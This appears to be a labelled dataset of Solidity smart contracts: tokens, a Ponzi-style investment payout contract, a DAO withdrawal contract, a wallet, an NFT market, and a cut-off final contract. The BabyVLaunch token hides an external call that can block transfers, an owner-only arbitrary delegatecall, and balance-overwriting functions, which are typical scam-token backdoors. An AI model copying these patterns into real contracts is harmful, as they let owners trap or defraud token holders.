function () external payable {
if (invested[msg.sender] != 0) {
uint thisBalance = address(this).balance;
uint amount = invested[msg.sender] * calculateProfitPercent(thisBalance) / 1000 * (block.number - atBlock[msg.sender]) / 6100;
address sender = msg.sender;
sender.transfer(amount);
}
if (msg.value > 0) {
transferDefaultPercentsOfInvested(msg.value);
transferRefPercents(msg.value, msg.sender);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += (msg.value);
}
function balanceOf(address _account) public view returns(uint256) {
uint thisBalance = address(this).balance;
uint ofBalance = invested[_account]* calculateProfitPercent(thisBalance) / 1000 * (block.number - atBlock[msg.sender]) / 6100;
return ofBalance;
}
} | 1 | 4,465 |
pragma solidity ^0.4.11;
contract ERC20Standard {
uint public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
string public version;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function transfer(address _recipient, uint _value) onlyPayloadSize(2*32) {
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] -= _value;
balances[_recipient] += _value;
Transfer(msg.sender, _recipient, _value);
}
function transferFrom(address _from, address _to, uint _value) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _spender, address _owner) constant returns (uint balance) {
return allowed[_owner][_spender];
}
event Transfer(
address indexed _from,
address indexed _to,
uint _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint _value
);
}
contract ReddByteToken is ERC20Standard {
function ReddByteToken() {
totalSupply = 19 * 10**24;
name = "ReddByteCoin";
symbol = "XRBC";
decimals = 18;
version = "1.0";
balances[msg.sender] = totalSupply;
}
} | 1 | 4,364 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract EtherCare is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function EtherCare() public {
symbol = "ETCR";
name = "EtherCare";
decimals = 6;
_totalSupply = 666666666000000;
balances[0x186d32c30f1DeFfF1eeDb34Ee661426918243545] = _totalSupply;
emit Transfer(address(0), 0x186d32c30f1DeFfF1eeDb34Ee661426918243545, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,142 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x6f6704e5a10332af6672e50b3d9754dc460dfa4d);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 991 |
pragma solidity ^0.4.25;
contract CentWallet {
struct Wallet {
uint256 balance;
mapping(address => bool) linked;
uint64 debitNonce;
uint64 withdrawNonce;
}
address[] public admins;
mapping(bytes32 => Wallet) private wallets;
mapping(address => bool) private isAdmin;
uint256 private escrowBalance;
modifier onlyAdmin {
require(isAdmin[msg.sender]);
_;
}
modifier onlyRootAdmin {
require(msg.sender == admins[0]);
_;
}
event Deposit(
bytes32 indexed walletID,
address indexed sender,
uint256 indexed value
);
event Link(
bytes32 indexed walletID,
address indexed agent
);
event Debit(
bytes32 indexed walletID,
uint256 indexed nonce,
uint256 indexed value
);
event Settle(
bytes32 indexed walletID,
uint256 indexed requestID,
uint256 indexed value
);
event Withdraw(
bytes32 indexed walletID,
uint256 indexed nonce,
uint256 indexed value,
address recipient
);
constructor() public
{
admins.push(msg.sender);
isAdmin[msg.sender] = true;
}
function deposit(
bytes32 walletID) payable public
{
wallets[walletID].balance += msg.value;
emit Deposit(walletID, msg.sender, msg.value);
}
function link(
bytes32[] walletIDs,
bytes32[] nameIDs,
address[] agents,
uint8[] v, bytes32[] r, bytes32[] s) onlyAdmin public
{
require(
walletIDs.length == nameIDs.length &&
walletIDs.length == agents.length &&
walletIDs.length == v.length &&
walletIDs.length == r.length &&
walletIDs.length == s.length
);
for (uint i = 0; i < walletIDs.length; i++) {
bytes32 walletID = walletIDs[i];
address agent = agents[i];
address signer = getMessageSigner(
getLinkDigest(walletID, agent), v[i], r[i], s[i]
);
Wallet storage wallet = wallets[walletID];
if (wallet.linked[signer] || walletID == getWalletDigest(nameIDs[i], signer)) {
wallet.linked[agent] = true;
emit Link(walletID, agent);
}
}
}
function debit(
bytes32[] walletIDs,
uint256[] values,
uint64[] nonces,
uint8[] v, bytes32[] r, bytes32[] s) onlyAdmin public
{
require(
walletIDs.length == values.length &&
walletIDs.length == nonces.length &&
walletIDs.length == v.length &&
walletIDs.length == r.length &&
walletIDs.length == s.length
);
uint256 additionalEscrow = 0;
for (uint i = 0; i < walletIDs.length; i++) {
bytes32 walletID = walletIDs[i];
uint256 value = values[i];
uint64 nonce = nonces[i];
address signer = getMessageSigner(
getDebitDigest(walletID, value, nonce), v[i], r[i], s[i]
);
Wallet storage wallet = wallets[walletID];
if (
wallet.debitNonce < nonce &&
wallet.balance >= value &&
wallet.linked[signer]
) {
wallet.debitNonce = nonce;
wallet.balance -= value;
emit Debit(walletID, nonce, value);
additionalEscrow += value;
}
}
escrowBalance += additionalEscrow;
}
function withdraw(
bytes32[] walletIDs,
address[] recipients,
uint256[] values,
uint64[] nonces,
uint8[] v, bytes32[] r, bytes32[] s) onlyAdmin public
{
require(
walletIDs.length == recipients.length &&
walletIDs.length == values.length &&
walletIDs.length == nonces.length &&
walletIDs.length == v.length &&
walletIDs.length == r.length &&
walletIDs.length == s.length
);
for (uint i = 0; i < walletIDs.length; i++) {
bytes32 walletID = walletIDs[i];
address recipient = recipients[i];
uint256 value = values[i];
uint64 nonce = nonces[i];
address signer = getMessageSigner(
getWithdrawDigest(walletID, recipient, value, nonce), v[i], r[i], s[i]
);
Wallet storage wallet = wallets[walletID];
if (
wallet.withdrawNonce < nonce &&
wallet.balance >= value &&
wallet.linked[signer] &&
recipient.send(value)
) {
wallet.withdrawNonce = nonce;
wallet.balance -= value;
emit Withdraw(walletID, nonce, value, recipient);
}
}
}
function settle(
bytes32[] walletIDs,
uint256[] requestIDs,
uint256[] values) onlyAdmin public
{
require(
walletIDs.length == requestIDs.length &&
walletIDs.length == values.length
);
uint256 remainingEscrow = escrowBalance;
for (uint i = 0; i < walletIDs.length; i++) {
bytes32 walletID = walletIDs[i];
uint256 value = values[i];
require(value <= remainingEscrow);
wallets[walletID].balance += value;
remainingEscrow -= value;
emit Settle(walletID, requestIDs[i], value);
}
escrowBalance = remainingEscrow;
}
function getMessageSigner(
bytes32 message,
uint8 v, bytes32 r, bytes32 s) public pure returns(address)
{
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedMessage = keccak256(
abi.encodePacked(prefix, message)
);
return ecrecover(prefixedMessage, v, r, s);
}
function getNameDigest(
string name) public pure returns (bytes32)
{
return keccak256(abi.encodePacked(name));
}
function getWalletDigest(
bytes32 name,
address root) public pure returns (bytes32)
{
return keccak256(abi.encodePacked(
name, root
));
}
function getLinkDigest(
bytes32 walletID,
address agent) public pure returns (bytes32)
{
return keccak256(abi.encodePacked(
walletID, agent
));
}
function getDebitDigest(
bytes32 walletID,
uint256 value,
uint64 nonce) public pure returns (bytes32)
{
return keccak256(abi.encodePacked(
walletID, value, nonce
));
}
function getWithdrawDigest(
bytes32 walletID,
address recipient,
uint256 value,
uint64 nonce) public pure returns (bytes32)
{
return keccak256(abi.encodePacked(
walletID, recipient, value, nonce
));
}
function getDebitNonce(
bytes32 walletID) public view returns (uint256)
{
return wallets[walletID].debitNonce + 1;
}
function getWithdrawNonce(
bytes32 walletID) public view returns (uint256)
{
return wallets[walletID].withdrawNonce + 1;
}
function getLinkStatus(
bytes32 walletID,
address member) public view returns (bool)
{
return wallets[walletID].linked[member];
}
function getBalance(
bytes32 walletID) public view returns (uint256)
{
return wallets[walletID].balance;
}
function getEscrowBalance() public view returns (uint256)
{
return escrowBalance;
}
function addAdmin(
address newAdmin) onlyRootAdmin public
{
require(!isAdmin[newAdmin]);
isAdmin[newAdmin] = true;
admins.push(newAdmin);
}
function removeAdmin(
address oldAdmin) onlyRootAdmin public
{
require(isAdmin[oldAdmin] && admins[0] != oldAdmin);
bool found = false;
for (uint i = 1; i < admins.length - 1; i++) {
if (!found && admins[i] == oldAdmin) {
found = true;
}
if (found) {
admins[i] = admins[i + 1];
}
}
admins.length--;
isAdmin[oldAdmin] = false;
}
function changeRootAdmin(
address newRootAdmin) onlyRootAdmin public
{
if (isAdmin[newRootAdmin] && admins[0] != newRootAdmin) {
removeAdmin(newRootAdmin);
}
admins[0] = newRootAdmin;
isAdmin[newRootAdmin] = true;
}
} | 0 | 876 |
pragma solidity ^0.4.24;
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
contract PixelConMarket is ERC721Receiver {
uint8 private constant LOCK_NONE = 0;
uint8 private constant LOCK_NO_LISTING = 1;
uint8 private constant LOCK_REMOVE_ONLY = 2;
uint256 private constant WEI_PER_GWEI = 1000000000;
uint256 private constant FEE_RATIO = 100000;
struct Listing {
uint64 startAmount;
uint64 endAmount;
uint64 startDate;
uint64 duration;
address seller;
uint32 sellerIndex;
uint64 forSaleIndex;
}
uint32 internal devFee;
uint32 internal priceUpdateInterval;
uint32 internal startDateRoundValue;
uint32 internal durationRoundValue;
uint64 internal maxDuration;
uint64 internal minDuration;
uint256 internal maxPrice;
uint256 internal minPrice;
PixelCons internal pixelconsContract;
address internal admin;
uint8 internal systemLock;
mapping(address => uint64[]) internal sellerPixelconIndexes;
mapping(uint64 => Listing) internal marketPixelconListings;
uint64[] internal forSalePixelconIndexes;
event Create(uint64 indexed _tokenIndex, address indexed _seller, uint256 _startPrice, uint256 _endPrice, uint64 _duration);
event Purchase(uint64 indexed _tokenIndex, address indexed _buyer, uint256 _price);
event Remove(uint64 indexed _tokenIndex, address indexed _operator);
modifier onlyAdmin {
require(msg.sender == admin, "Only the admin can call this function");
_;
}
modifier validAddress(address _address) {
require(_address != address(0), "Invalid address");
_;
}
constructor(address _admin, address _pixelconContract) public
{
require(_admin != address(0), "Invalid address");
require(_pixelconContract != address(0), "Invalid address");
admin = _admin;
pixelconsContract = PixelCons(_pixelconContract);
systemLock = LOCK_REMOVE_ONLY;
devFee = 1000;
priceUpdateInterval = 1 * 60 * 60;
startDateRoundValue = 5 * 60;
durationRoundValue = 5 * 60;
maxDuration = 30 * 24 * 60 * 60;
minDuration = 1 * 24 * 60 * 60;
maxPrice = 100000000000000000000;
minPrice = 1000000000000000;
}
function adminChange(address _newAdmin) public onlyAdmin validAddress(_newAdmin)
{
admin = _newAdmin;
}
function adminSetLock(bool _lock, bool _allowPurchase) public onlyAdmin
{
if (_lock) {
if (_allowPurchase) systemLock = LOCK_NO_LISTING;
else systemLock = LOCK_REMOVE_ONLY;
} else {
systemLock = LOCK_NONE;
}
}
function adminSetDetails(uint32 _devFee, uint32 _priceUpdateInterval, uint32 _startDateRoundValue, uint32 _durationRoundValue,
uint64 _maxDuration, uint64 _minDuration, uint256 _maxPrice, uint256 _minPrice) public onlyAdmin
{
devFee = _devFee;
priceUpdateInterval = _priceUpdateInterval;
startDateRoundValue = _startDateRoundValue;
durationRoundValue = _durationRoundValue;
maxDuration = _maxDuration;
minDuration = _minDuration;
maxPrice = _maxPrice;
minPrice = _minPrice;
}
function adminWithdraw(address _to) public onlyAdmin validAddress(_to)
{
_to.transfer(address(this).balance);
}
function adminClose(address _to) public onlyAdmin validAddress(_to)
{
require(forSalePixelconIndexes.length == uint256(0), "Cannot close with active listings");
selfdestruct(_to);
}
function getMarketDetails() public view returns(uint32, uint32, uint32, uint32, uint64, uint64, uint256, uint256)
{
return (devFee, priceUpdateInterval, startDateRoundValue, durationRoundValue, maxDuration, minDuration, maxPrice, minPrice);
}
function makeListing(address _seller, uint256 _tokenId, uint256 _startPrice, uint256 _endPrice, uint256 _duration) internal
{
require(_startPrice <= maxPrice, "Start price is higher than the max allowed");
require(_startPrice >= minPrice, "Start price is lower than the min allowed");
require(_endPrice <= maxPrice, "End price is higher than the max allowed");
require(_endPrice >= minPrice, "End price is lower than the min allowed");
_startPrice = _startPrice / WEI_PER_GWEI;
_endPrice = _endPrice / WEI_PER_GWEI;
require(_endPrice > uint256(0), "End price cannot be zero (gwei)");
require(_startPrice >= _endPrice, "Start price is lower than the end price");
require(_startPrice < uint256(2 ** 64), "Start price is out of bounds");
require(_endPrice < uint256(2 ** 64), "End price is out of bounds");
uint256 startDate = (now / uint256(startDateRoundValue)) * uint256(startDateRoundValue);
require(startDate < uint256(2 ** 64), "Start date is out of bounds");
_duration = (_duration / uint256(durationRoundValue)) * uint256(durationRoundValue);
require(_duration > uint256(0), "Duration cannot be zero");
require(_duration <= uint256(maxDuration), "Duration is higher than the max allowed");
require(_duration >= uint256(minDuration), "Duration is lower than the min allowed");
uint64 pixelconIndex = pixelconsContract.getTokenIndex(_tokenId);
Listing storage listing = marketPixelconListings[pixelconIndex];
listing.startAmount = uint64(_startPrice);
listing.endAmount = uint64(_endPrice);
listing.startDate = uint64(startDate);
listing.duration = uint64(_duration);
listing.seller = _seller;
uint64[] storage sellerTokens = sellerPixelconIndexes[_seller];
uint sellerTokensIndex = sellerTokens.length;
uint forSaleIndex = forSalePixelconIndexes.length;
require(sellerTokensIndex < uint256(2 ** 32 - 1), "Max number of market listings has been exceeded for seller");
require(forSaleIndex < uint256(2 ** 64 - 1), "Max number of market listings has been exceeded");
listing.sellerIndex = uint32(sellerTokensIndex);
listing.forSaleIndex = uint64(forSaleIndex);
sellerTokens.length++;
sellerTokens[sellerTokensIndex] = pixelconIndex;
forSalePixelconIndexes.length++;
forSalePixelconIndexes[forSaleIndex] = pixelconIndex;
emit Create(pixelconIndex, _seller, _startPrice, _endPrice, uint64(_duration));
}
function exists(uint64 _pixelconIndex) public view returns(bool)
{
return (marketPixelconListings[_pixelconIndex].seller != address(0));
}
function totalListings() public view returns(uint256)
{
return forSalePixelconIndexes.length;
}
function getListing(uint64 _pixelconIndex) public view returns(address _seller, uint256 _startPrice, uint256 _endPrice, uint256 _currPrice,
uint64 _startDate, uint64 _duration, uint64 _timeLeft)
{
Listing storage listing = marketPixelconListings[_pixelconIndex];
require(listing.seller != address(0), "Market listing does not exist");
_seller = listing.seller;
_startPrice = uint256(listing.startAmount) * WEI_PER_GWEI;
_endPrice = uint256(listing.endAmount) * WEI_PER_GWEI;
_currPrice = calcCurrentPrice(uint256(listing.startAmount), uint256(listing.endAmount), uint256(listing.startDate), uint256(listing.duration));
_startDate = listing.startDate;
_duration = listing.duration;
_timeLeft = calcTimeLeft(uint256(listing.startDate), uint256(listing.duration));
}
function removeListing(uint64 _pixelconIndex) public
{
Listing storage listing = marketPixelconListings[_pixelconIndex];
require(listing.seller != address(0), "Market listing does not exist");
require(msg.sender == listing.seller || msg.sender == admin, "Insufficient permissions");
uint256 tokenId = pixelconsContract.tokenByIndex(_pixelconIndex);
address seller = listing.seller;
clearListingData(seller, _pixelconIndex);
pixelconsContract.transferFrom(address(this), seller, tokenId);
emit Remove(_pixelconIndex, msg.sender);
}
function purchase(address _to, uint64 _pixelconIndex) public payable validAddress(_to)
{
Listing storage listing = marketPixelconListings[_pixelconIndex];
require(systemLock != LOCK_REMOVE_ONLY, "Market is currently locked");
require(listing.seller != address(0), "Market listing does not exist");
require(listing.seller != msg.sender, "Seller cannot purchase their own listing");
uint256 currPrice = calcCurrentPrice(uint256(listing.startAmount), uint256(listing.endAmount), uint256(listing.startDate), uint256(listing.duration));
require(currPrice != uint256(0), "Market listing has expired");
require(msg.value >= currPrice + (currPrice * uint256(devFee)) / FEE_RATIO, "Insufficient value sent");
uint256 tokenId = pixelconsContract.tokenByIndex(_pixelconIndex);
address seller = listing.seller;
clearListingData(seller, _pixelconIndex);
pixelconsContract.transferFrom(address(this), _to, tokenId);
seller.transfer(currPrice);
emit Purchase(_pixelconIndex, msg.sender, currPrice);
}
function getBasicData(uint64[] _indexes) public view returns(uint64[], address[], uint256[], uint64[])
{
uint64[] memory tokenIndexes = new uint64[](_indexes.length);
address[] memory sellers = new address[](_indexes.length);
uint256[] memory currPrices = new uint256[](_indexes.length);
uint64[] memory timeLeft = new uint64[](_indexes.length);
for (uint i = 0; i < _indexes.length; i++) {
Listing storage listing = marketPixelconListings[_indexes[i]];
if (listing.seller != address(0)) {
tokenIndexes[i] = _indexes[i];
sellers[i] = listing.seller;
currPrices[i] = calcCurrentPrice(uint256(listing.startAmount), uint256(listing.endAmount), uint256(listing.startDate), uint256(listing.duration));
timeLeft[i] = calcTimeLeft(uint256(listing.startDate), uint256(listing.duration));
} else {
tokenIndexes[i] = 0;
sellers[i] = 0;
currPrices[i] = 0;
timeLeft[i] = 0;
}
}
return (tokenIndexes, sellers, currPrices, timeLeft);
}
function getForSeller(address _seller) public view validAddress(_seller) returns(uint64[])
{
return sellerPixelconIndexes[_seller];
}
function getAllListings() public view returns(uint64[])
{
return forSalePixelconIndexes;
}
function getListingsInRange(uint64 _startIndex, uint64 _endIndex) public view returns(uint64[])
{
require(_startIndex <= totalListings(), "Start index is out of bounds");
require(_endIndex <= totalListings(), "End index is out of bounds");
require(_startIndex <= _endIndex, "End index is less than the start index");
uint64 length = _endIndex - _startIndex;
uint64[] memory indexes = new uint64[](length);
for (uint i = 0; i < length; i++) {
indexes[i] = forSalePixelconIndexes[_startIndex + i];
}
return indexes;
}
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns(bytes4)
{
require(systemLock == LOCK_NONE, "Market is currently locked");
require(msg.sender == address(pixelconsContract), "Market only accepts transfers from the PixelCons contract");
require(_tokenId != uint256(0), "Invalid token ID");
require(_operator != address(0), "Invalid operator address");
require(_from != address(0), "Invalid from address");
require(_data.length == 32 * 3, "Incorrectly formatted data");
uint256 startPrice;
uint256 endPrice;
uint256 duration;
assembly {
startPrice := mload(add(_data, 0x20))
endPrice := mload(add(_data, 0x40))
duration := mload(add(_data, 0x60))
}
makeListing(_from, _tokenId, startPrice, endPrice, duration);
return ERC721_RECEIVED;
}
function clearListingData(address _seller, uint64 _pixelconIndex) internal
{
Listing storage listing = marketPixelconListings[_pixelconIndex];
uint64[] storage sellerTokens = sellerPixelconIndexes[_seller];
uint64 replacementSellerTokenIndex = sellerTokens[sellerTokens.length - 1];
delete sellerTokens[sellerTokens.length - 1];
sellerTokens.length--;
if (listing.sellerIndex < sellerTokens.length) {
sellerTokens[listing.sellerIndex] = replacementSellerTokenIndex;
marketPixelconListings[replacementSellerTokenIndex].sellerIndex = listing.sellerIndex;
}
uint64 replacementForSaleTokenIndex = forSalePixelconIndexes[forSalePixelconIndexes.length - 1];
delete forSalePixelconIndexes[forSalePixelconIndexes.length - 1];
forSalePixelconIndexes.length--;
if (listing.forSaleIndex < forSalePixelconIndexes.length) {
forSalePixelconIndexes[listing.forSaleIndex] = replacementForSaleTokenIndex;
marketPixelconListings[replacementForSaleTokenIndex].forSaleIndex = listing.forSaleIndex;
}
delete marketPixelconListings[_pixelconIndex];
}
function calcCurrentPrice(uint256 _startAmount, uint256 _endAmount, uint256 _startDate, uint256 _duration) internal view returns(uint256)
{
uint256 timeDelta = now - _startDate;
if (timeDelta > _duration) return uint256(0);
timeDelta = timeDelta / uint256(priceUpdateInterval);
uint256 durationTotal = _duration / uint256(priceUpdateInterval);
return (_startAmount - ((_startAmount - _endAmount) * timeDelta) / durationTotal) * WEI_PER_GWEI;
}
function calcTimeLeft(uint256 _startDate, uint256 _duration) internal view returns(uint64)
{
uint256 timeDelta = now - _startDate;
if (timeDelta > _duration) return uint64(0);
return uint64(_duration - timeDelta);
}
}
contract PixelCons {
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function getTokenIndex(uint256 _tokenId) public view returns(uint64);
function tokenByIndex(uint256 _tokenIndex) public view returns(uint256);
} | 1 | 4,869 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BabyVLaunch is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 0;
string public name = "BabyVLaunch";
string public symbol = "BABYVPAD";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _reallyGoHere, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = amount;
emit Transfer(address(0x0), _reallyGoHere[i], amount);
}
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 4 |
pragma solidity ^0.4.19;
contract EthLendToken {
string public name = "EthLend Token";
string public symbol = "LEND";
uint8 public constant decimals = 18;
address public owner;
uint256 public constant tokensPerEth = 1;
uint256 public constant howManyEtherInWeiToBecomeOwner = 1000 ether;
uint256 public constant howManyEtherInWeiToKillContract = 500 ether;
uint256 public constant howManyEtherInWeiToChangeSymbolName = 400 ether;
